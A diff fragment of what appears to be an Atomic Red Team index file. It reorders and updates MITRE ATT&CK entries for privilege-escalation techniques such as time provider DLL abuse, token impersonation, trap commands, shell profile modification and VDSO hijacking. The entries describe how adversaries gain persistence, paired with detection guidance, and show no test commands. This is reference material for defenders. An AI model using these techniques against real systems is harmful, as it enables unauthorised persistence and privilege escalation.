-        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
-          Retrieved March 26, 2018.
-        source_name: Microsoft W32Time Feb 2018
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
-        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
-        source_name: Microsoft TimeProvider
-      - url: https://github.com/scottlundgren/w32time
-        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
-          2018.
-        source_name: Github W32Time Oct 2017
-      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
-        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
-          Retrieved March 26, 2018.
-        source_name: Microsoft W32Time May 2017
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Time Providers
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T15:24:26.476Z'
+      created: '2020-01-24T15:51:52.317Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
       description: |-
         Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
 
         Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
 
         Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
-      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-25T15:24:26.476Z'
-      created: '2020-01-24T15:51:52.317Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
+      x_mitre_contributors:
+      - Scott Lundgren, @5twenty9, Carbon Black
       x_mitre_detection: |-
         Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)
 
         The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Scott Lundgren, @5twenty9, Carbon Black
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/003
+        external_id: T1547.003
+        source_name: mitre-attack
+      - source_name: Microsoft W32Time Feb 2018
+        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
+          Retrieved March 26, 2018.
+        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
+      - source_name: Microsoft TimeProvider
+        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
+      - source_name: Github W32Time Oct 2017
+        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
+          2018.
+        url: https://github.com/scottlundgren/w32time
+      - source_name: Microsoft W32Time May 2017
+        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
+          Retrieved March 26, 2018.
+        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
     atomic_tests: []
   T1134.001:
     technique:
-      created: '2020-02-18T16:39:06.289Z'
-      modified: '2020-03-26T21:29:18.608Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
       type: attack-pattern
+      modified: '2020-03-26T21:29:18.608Z'
+      name: Token Impersonation/Theft
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-02-18T16:39:06.289Z'
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      - System access controls
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d
       description: |-
         Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.
 
         An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.
-      name: Token Impersonation/Theft
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.001
-        url: https://attack.mitre.org/techniques/T1134/001
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: |-
         If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
 
         Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      - System access controls
-      - File system access controls
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/001
+        external_id: T1134.001
+        source_name: mitre-attack
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
       identifier: T1134.001
     atomic_tests:
     - name: Named pipe client impersonation
@@ -20086,51 +20449,51 @@ privilege-escalation:
         elevation_required: true
   T1546.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.005
-        url: https://attack.mitre.org/techniques/T1546/005
-      - source_name: Trap Manual
-        url: https://ss64.com/bash/trap.html
-        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
-      - source_name: Cyberciti Trap Statements
-        url: https://bash.cyberciti.biz/guide/Trap_statement
-        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
-          2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Trap
-      description: |-
-        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.
-
-        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
-      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T16:43:02.273Z'
-      created: '2020-01-24T14:17:43.906Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: Trap commands must be registered for the shell or programs,
-        so they appear in files. Monitoring files for suspicious or overly broad trap
-        commands can narrow down suspicious behavior during an investigation. Monitor
-        for suspicious processes executed through trap interrupts.
+      name: Trap
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Creation'
       - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T16:43:02.273Z'
+      created: '2020-01-24T14:17:43.906Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       x_mitre_platforms:
       - macOS
       - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
+      description: |-
+        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.
+
+        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_detection: Trap commands must be registered for the shell or programs,
+        so they appear in files. Monitoring files for suspicious or overly broad trap
+        commands can narrow down suspicious behavior during an investigation. Monitor
+        for suspicious processes executed through trap interrupts.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/005
+        external_id: T1546.005
+        source_name: mitre-attack
+      - url: https://ss64.com/bash/trap.html
+        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
+        source_name: Trap Manual
+      - url: https://bash.cyberciti.biz/guide/Trap_statement
+        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
+          2019.
+        source_name: Cyberciti Trap Statements
       identifier: T1546.005
     atomic_tests:
     - name: Trap
@@ -20149,58 +20512,31 @@ privilege-escalation:
         name: sh
   T1546.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.004
-        url: https://attack.mitre.org/techniques/T1546/004
-      - source_name: intezer-kaiji-malware
-        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
-        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
-          turning to Golang. Retrieved December 17, 2020.'
-      - source_name: bencane blog bashrc
-        url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
-        description: Benjamin Cane. (2013, September 16). Understanding a little more
-          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
-      - source_name: anomali-rocke-tactics
-        url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
-        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
-          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
-          December 17, 2020.
-      - source_name: Linux manual bash invocation
-        url: https://wiki.archlinux.org/index.php/Bash#Invocation
-        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
-      - source_name: Tsunami
-        url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
-        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
-          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
-      - source_name: anomali-linux-rabbit
-        url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
-        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
-          Malware Out of a Hat. Retrieved December 17, 2020.
-      - source_name: Magento
-        url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
-        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
-          Vector. Retrieved December 17, 2020.
-      - source_name: ScriptingOSX zsh
-        url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
-        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
-          Files. Retrieved February 25, 2021.'
-      - source_name: PersistentJXA_leopitt
-        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
-        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
-          for macOS. Retrieved January 11, 2021.
-      - source_name: code_persistence_zsh
-        url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
-        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
-          Retrieved January 11, 2021.
-      - source_name: ESF_filemonitor
-        url: https://objective-see.com/blog/blog_0x48.html
-        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
-          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Unix Shell Configuration Modification
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '2.1'
+      modified: '2021-08-20T18:01:52.120Z'
+      created: '2020-01-24T14:13:45.936Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: "Adversaries may establish persistence through executing malicious
         commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s
         execute several configuration scripts at different points throughout the session
@@ -20236,28 +20572,15 @@ privilege-escalation:
         and a zsh interactive shell. The login shell configures the system environment
         using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,
         and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:
-        code_persistence_zsh) The login shell then configures the user environment
-        with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive
-        shell uses the <code>~/.zshrc</code> to configure the user environment. Upon
-        exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.
-        For legacy programs, macOS executes <code>/etc/bashrc</code> on startup."
-      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-08T15:22:54.089Z'
-      created: '2020-01-24T14:13:45.936Z'
+        code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login
+        shell then configures the user environment with <code>~/.zprofile</code> and
+        <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code>
+        to configure the user environment. Upon exiting, <code>/etc/zlogout</code>
+        and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes
+        <code>/etc/bashrc</code> on startup."
       x_mitre_contributors:
       - Robert Wilson
       - Tony Lambert, Red Canary
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
       x_mitre_detection: "While users may customize their shell profile files, there
         are only certain types of commands that typically appear in these files. Monitor
         for abnormal commands such as execution of unknown programs, opening network
@@ -20268,14 +20591,59 @@ privilege-escalation:
         events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor
         most Linux and macOS systems, a list of file paths for valid shell options
         available on a system are located in the <code>/etc/shells</code> file.\n"
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/004
+        external_id: T1546.004
+        source_name: mitre-attack
+      - url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
+        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
+          turning to Golang. Retrieved December 17, 2020.'
+        source_name: intezer-kaiji-malware
+      - url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
+        description: Benjamin Cane. (2013, September 16). Understanding a little more
+          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
+        source_name: bencane blog bashrc
+      - url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
+        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
+          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
+          December 17, 2020.
+        source_name: anomali-rocke-tactics
+      - url: https://wiki.archlinux.org/index.php/Bash#Invocation
+        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
+        source_name: Linux manual bash invocation
+      - url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
+        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
+          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
+        source_name: Tsunami
+      - url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
+        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
+          Malware Out of a Hat. Retrieved December 17, 2020.
+        source_name: anomali-linux-rabbit
+      - url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
+        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
+          Vector. Retrieved December 17, 2020.
+        source_name: Magento
+      - url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
+        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
+          Files. Retrieved February 25, 2021.'
+        source_name: ScriptingOSX zsh
+      - url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
+        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
+          for macOS. Retrieved January 11, 2021.
+        source_name: PersistentJXA_leopitt
+      - url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
+        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
+          Retrieved January 11, 2021.
+        source_name: code_persistence_zsh
+      - url: https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a
+        description: Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump.
+          Retrieved August 20, 2021.
+        source_name: macOS MS office sandbox escape
+      - url: https://objective-see.com/blog/blog_0x48.html
+        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
+          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
+        source_name: ESF_filemonitor
       identifier: T1546.004
     atomic_tests:
     - name: Add command to .bash_profile
@@ -20322,6 +20690,22 @@ privilege-escalation:
         name: sh
   T1055.014:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: VDSO Hijacking
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:28:45.232Z'
+      created: '2020-01-14T01:35:00.781Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5
       description: "Adversaries may inject malicious code into processes via VDSO
         hijacking in order to evade process-based defenses as well as possibly elevate
@@ -20341,57 +20725,11 @@ privilege-escalation:
         resources, and possibly elevated privileges. Execution via VDSO hijacking
         may also evade detection from security products since the execution is masked
         under a legitimate process.  "
-      name: VDSO Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.014
-        url: https://attack.mitre.org/techniques/T1055/014
-      - source_name: ELF Injection May 2009
-        url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
-        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
-          GOT poisoning. Retrieved March 15, 2020.
-      - source_name: Backtrace VDSO
-        url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
-        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
-          Retrieved June 15, 2020.
-      - source_name: VDSO Aug 2005
-        url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
-        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
-          June 16, 2020.
-      - source_name: Syscall 2014
-        url: https://lwn.net/Articles/604515/
-        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
-          2. Retrieved June 16, 2020.
-      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
-          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
-          December 20, 2017.'
-        source_name: ArtOfMemoryForensics
-      - url: https://www.gnu.org/software/acct/
-        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
-          December 20, 2017.
-        source_name: GNU Acct
-      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
-        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
-          Chapter 7 - System Auditing. Retrieved December 20, 2017.
-        source_name: RHEL auditd
-      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
-        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
-          Retrieved December 20, 2017.
-        source_name: Chokepoint preload rootkits
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-06-20T22:28:45.232Z'
-      created: '2020-01-14T01:35:00.781Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
       x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace
         and mmap, that can be used to attach to, manipulate memory, then redirect
         a processes' execution path. Monitoring for Linux specific calls such as the
@@ -20402,41 +20740,57 @@ privilege-escalation:
         \n\nAnalyze process behavior to determine if a process is performing actions
         it usually does not, such as opening network connections, reading files, or
         other suspicious actions that could relate to post-compromise behavior. "
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      x_mitre_platforms:
-      - Linux
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/014
+        external_id: T1055.014
+        source_name: mitre-attack
+      - url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
+        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
+          GOT poisoning. Retrieved March 15, 2020.
+        source_name: ELF Injection May 2009
+      - url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
+        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
+          Retrieved June 15, 2020.
+        source_name: Backtrace VDSO
+      - url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
+        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
+          June 16, 2020.
+        source_name: VDSO Aug 2005
+      - url: https://lwn.net/Articles/604515/
+        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
+          2. Retrieved June 16, 2020.
+        source_name: Syscall 2014
+      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
+          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
+          December 20, 2017.'
+        source_name: ArtOfMemoryForensics
+      - source_name: GNU Acct
+        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
+          December 20, 2017.
+        url: https://www.gnu.org/software/acct/
+      - source_name: RHEL auditd
+        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
+          Chapter 7 - System Auditing. Retrieved December 20, 2017.
+        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
+      - source_name: Chokepoint preload rootkits
+        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
+          Retrieved December 20, 2017.
+        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
     atomic_tests: []
   T1078:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078
-        url: https://attack.mitre.org/techniques/T1078
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
-      description: |-
-        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
-
-        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
-      name: Valid Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       type: attack-pattern
+      name: Valid Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.3'
+      modified: '2021-10-19T03:29:48.018Z'
+      created: '2017-05-31T21:31:00.645Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -20446,12 +20800,7 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-12T18:27:52.298Z'
-      created: '2017-05-31T21:31:00.645Z'
-      x_mitre_version: '2.2'
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       x_mitre_defense_bypassed:
       - Firewall
       - Host intrusion prevention systems
@@ -20459,16 +20808,6 @@ privilege-escalation:
       - Application control
       - System access controls
       - Anti-virus
-      x_mitre_detection: |-
